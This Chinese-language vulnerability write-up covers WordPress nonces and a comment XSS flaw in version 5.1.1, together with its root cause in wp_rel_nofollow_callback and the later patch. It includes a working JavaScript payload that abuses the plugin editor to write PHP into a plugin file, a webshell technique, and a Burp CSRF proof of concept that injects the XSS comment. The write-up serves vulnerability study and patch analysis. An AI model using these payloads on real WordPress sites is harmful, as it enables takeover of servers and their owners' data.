WordPress安全机制与XSS写shell
nonce机制
在WordPress中,对不同操作都做了nonce检测机制,以防CSRF攻击。
nonce值的生成:
$expected = substr( wp_hash( $i . '|' . $action . '|' . $uid . '|' . $token, 'nonce'), -12, 10 );
其中,$i是由时间决定的随机数,每天的0时与12时更新一次;$action是操作;$uid是用户id;$token是用户登陆时服务器产生的,每次登陆都不同。
由此可见,nonce可以很好地避免CSRF等漏洞的产生。
后台账户重要性
WordPress认为,后台管理员是有安全意识的,而且不会被盗。所以在WordPress的后台没有XSS过滤;甚至可以通过插件编辑器直接写入webshell。
XSS后台写shell
· 有了nonce机制并且给后台用户较大的权限时,就可以通过XSS直接写入webshell。
· 利用后台管理员可以通过编辑插件写入任意代码这个特点,我们可以构造写入任意代码的JS。 可以获取webshell的JS脚本为(测试环境:WordPress5.1.1,不同版本的参数可能不同,需要抓包重写):
<html> <script> p = 'wordpress/wp-admin/plugin-editor.php?'; q = 'file=hello.php'; s = '<?php phpinfo();'; a = new XMLHttpRequest(); a.open('GET', p+q, 0); a.send(); $ = 'nonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] + '&newcontent=' + s + '&action=edit-theme-plugin-file&' + q +'&plugin=hello.php'; b = new XMLHttpRequest(); b.open('POST', p+q, 1); b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); b.send($); b.onreadystatechange = function(){ if (this.readyState == 4) { fetch('wordpress/wp-content/plugins/hello.php'); } } </script> </html>
漏洞复现
由于我复现的时候 5.1.1已经被修复了,贴一个找到的未修复的commit: https://codeload.github.com/WordPress/WordPress/zip/df681b2ee0c01c3282f07feaed0b498546c87be3
· 安装完WordPress并使用管理员登陆后,进入评论使用burp构造CSRFpayload:
<a title=' " onmouseover=alert(1) attr2=" ' rel='1'>click
· 生成的POC:
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="http://localhost:801/cms/wordpress-5.1.1/wordpress/wp-comments-post.php" method="POST"> <input type="hidden" name="comment" value="<a title=' " onmouseover=alert(1) attr2=" ' rel='1'>click" /> <input type="hidden" name="submit" value="Post Comment" /> <input type="hidden" name="comment_post_ID" value="1" /> <input type="hidden" name="comment_parent" value="0" /> <input type="hidden" name="_wp_unfiltered_html_comment" value="no_need_correct" /> <input type="submit" value="Submit request" /> </form> </body> </html>
· 管理用户访问POC后,会产生一个a标签并注入js代码,执行效果:
· 此时,就可以执行写shell的JS代码,达到getshell的目的。
漏洞分析
再次看看前面的payload:
<a title=' " onmouseover=alert(1) attr2=" ' rel='1'>click
需要注意的是:a后的第一个属性必须为$allowedposttags白名单中的属性,如title、id等,否则WordPress会直接去掉该属性。 查看全局允许的属性名:
由于之前的操作繁琐(主要是评论的各种过滤),直接在漏洞修复处打断点:
function wp_rel_nofollow_callback( $matches ) { $text = $matches[1]; $atts = shortcode_parse_atts( $matches[1] ); $rel = 'nofollow'; if ( preg_match( '%href=["\'](' . preg_quote( set_url_scheme( home_url(), 'http' ) ) . ')%i', $text ) || preg_match( '%href=["\'](' . preg_quote( set_url_scheme( home_url(), 'https' ) ) . ')%i', $text ) ) { return "<a $text>"; } if ( ! empty( $atts['rel'] ) ) { //rel属性不为空时 $parts = array_map( 'trim', explode( ' ', $atts['rel'] ) ); if ( false === array_search( 'nofollow', $parts ) ) { $parts[] = 'nofollow'; } $rel = implode( ' ', $parts ); unset( $atts['rel'] ); $html = ''; foreach ( $atts as $name => $value ) { $html .= "{$name}=\"$value\" "; //注意此处对每个属性的值添加双引号 } $text = trim( $html ); } return "<a $text rel=\"$rel\">"; }
可以很明显的注意到,在调用解析rel属性的函数时,如果存在rel属性,首先将解析的每一个属性直接拼接进去并且加上双引号。
WordPress对属性的解析与浏览器的解析一致,大致如下:
1. 外界为双引号,则把双引号内字符串解析为属性而不会加转义。
2. 外界为单引号,则把单引号内字符串解析为属性而不会加转义。
而在此处,如果单引号中包含双引号,解析时被当做属性,自然不会转义,而最后却被包裹上了双引号,从而造成闭合,原本在属性中的恶意代码被解析:
<a title=' " onmouseover=alert(1) attr2=" ' rel='1'>click -> <a title=" " onmouseover=alert(1) attr2=" " rel="1">click
最后输出的结果为:
<a title=" " onmouseover="alert(1)" attr2=" " rel="1 nofollow">click</a>
从而造成XSS
修复分析
针对此漏洞的修复主要有两个:
第一处:
可以看到使用esc_attr函数对属性进行转义了。
第二处:
第二处修补使用wp_filter_kses代替了wp_filter_post_kses。 首先查看wp_filter_post_kses:
function wp_filter_post_kses( $data ) { return addslashes( wp_kses( stripslashes( $data ), 'post' ) ); } 跟进-> function wp_kses( $string, $allowed_html, $allowed_protocols = array() ) { if ( empty( $allowed_protocols ) ) { $allowed_protocols = wp_allowed_protocols(); } $string = wp_kses_no_null( $string, array( 'slash_zero' => 'keep' ) ); $string = wp_kses_normalize_entities( $string ); $string = wp_kses_hook( $string, $allowed_html, $allowed_protocols ); return wp_kses_split( $string, $allowed_html, $allowed_protocols ); //注意此处 }
可以看到,该函数主要是基于$allowed_html对string进行了过滤。
再查看wp_filter_kses:
function wp_filter_kses( $data ) { return addslashes( wp_kses( stripslashes( $data ), current_filter() ) ); }
同样地,使用了wp_kses函数,不同的是这次传入的是current_filter(),其中关键的过滤功能在函数wp_kses_split中,跟进:
function wp_kses_split( $string, $allowed_html, $allowed_protocols ) { global $pass_allowed_html, $pass_allowed_protocols; $pass_allowed_html = $allowed_html; $pass_allowed_protocols = $allowed_protocols; return preg_replace_callback( '%(<!--.*?(-->|$))|(<[^>]*(>|$)|>)%', '_wp_kses_split_callback', $string ); } 跟进_wp_kses_split_callback-> function _wp_kses_split_callback( $match ) { global $pass_allowed_html, $pass_allowed_protocols; return wp_kses_split2( $match[0], $pass_allowed_html, $pass_allowed_protocols ); } 跟进wp_kses_split2-> function wp_kses_split2( $string, $allowed_html, $allowed_protocols ) { $string = wp_kses_stripslashes( $string ); ... if ( ! is_array( $allowed_html ) ) { $allowed_html = wp_kses_allowed_html( $allowed_html ); } ... } 跟进wp_kses_allowed_html-> function wp_kses_allowed_html( $context = '' ) { global $allowedposttags, $allowedtags, $allowedentitynames; ... switch ( $context ) { case 'post': $tags = apply_filters( 'wp_kses_allowed_html', $allowedposttags, $context ); if ( ! CUSTOM_TAGS && ! isset( $tags['form'] ) && ( isset( $tags['input'] ) || isset( $tags['select'] ) ) ) { $tags = $allowedposttags; $tags['form'] = array( 'action' => true, 'accept' => true, 'accept-charset' => true, 'enctype' => true, 'method' => true, 'name' => true, 'target' => true, ); $tags = apply_filters( 'wp_kses_allowed_html', $tags, $context ); } return $tags; case 'user_description': case 'pre_user_description': $tags = $allowedtags; $tags['a']['rel'] = true; return apply_filters( 'wp_kses_allowed_html', $tags, $context ); case 'strip': return apply_filters( 'wp_kses_allowed_html', array(), $context ); case 'entities': return apply_filters( 'wp_kses_allowed_html', $allowedentitynames, $context ); case 'data': default: return apply_filters( 'wp_kses_allowed_html', $allowedtags, $context ); }
可以看到,传入post时,使用$allowedposttags过滤;传入current_filter()解析出的pre_comment_content时则进入default,使用$allowedtags过滤。 这两个数组都是全局变量,$allowedposttags中包括各种标签,其中就包括a以及其rel属性:
'a' => array( 'href' => true, 'rel' => true, 'rev' => true, 'name' => true, 'target' => true, 'download' => array( 'valueless' => 'y', ), )
而$allowedtags比$allowedposttags严格的多,其中a标签的内容如下:
'a' => array( 'href' => true, 'title' => true, )
所以,第二个修复点其实是把标签白名单缩小了,不允许rel的出现。
参考资料
· https://www.bynicolas.com/code/wordpress-nonce/
· https://brutelogic.com.br/blog/compromising-cmses-xss/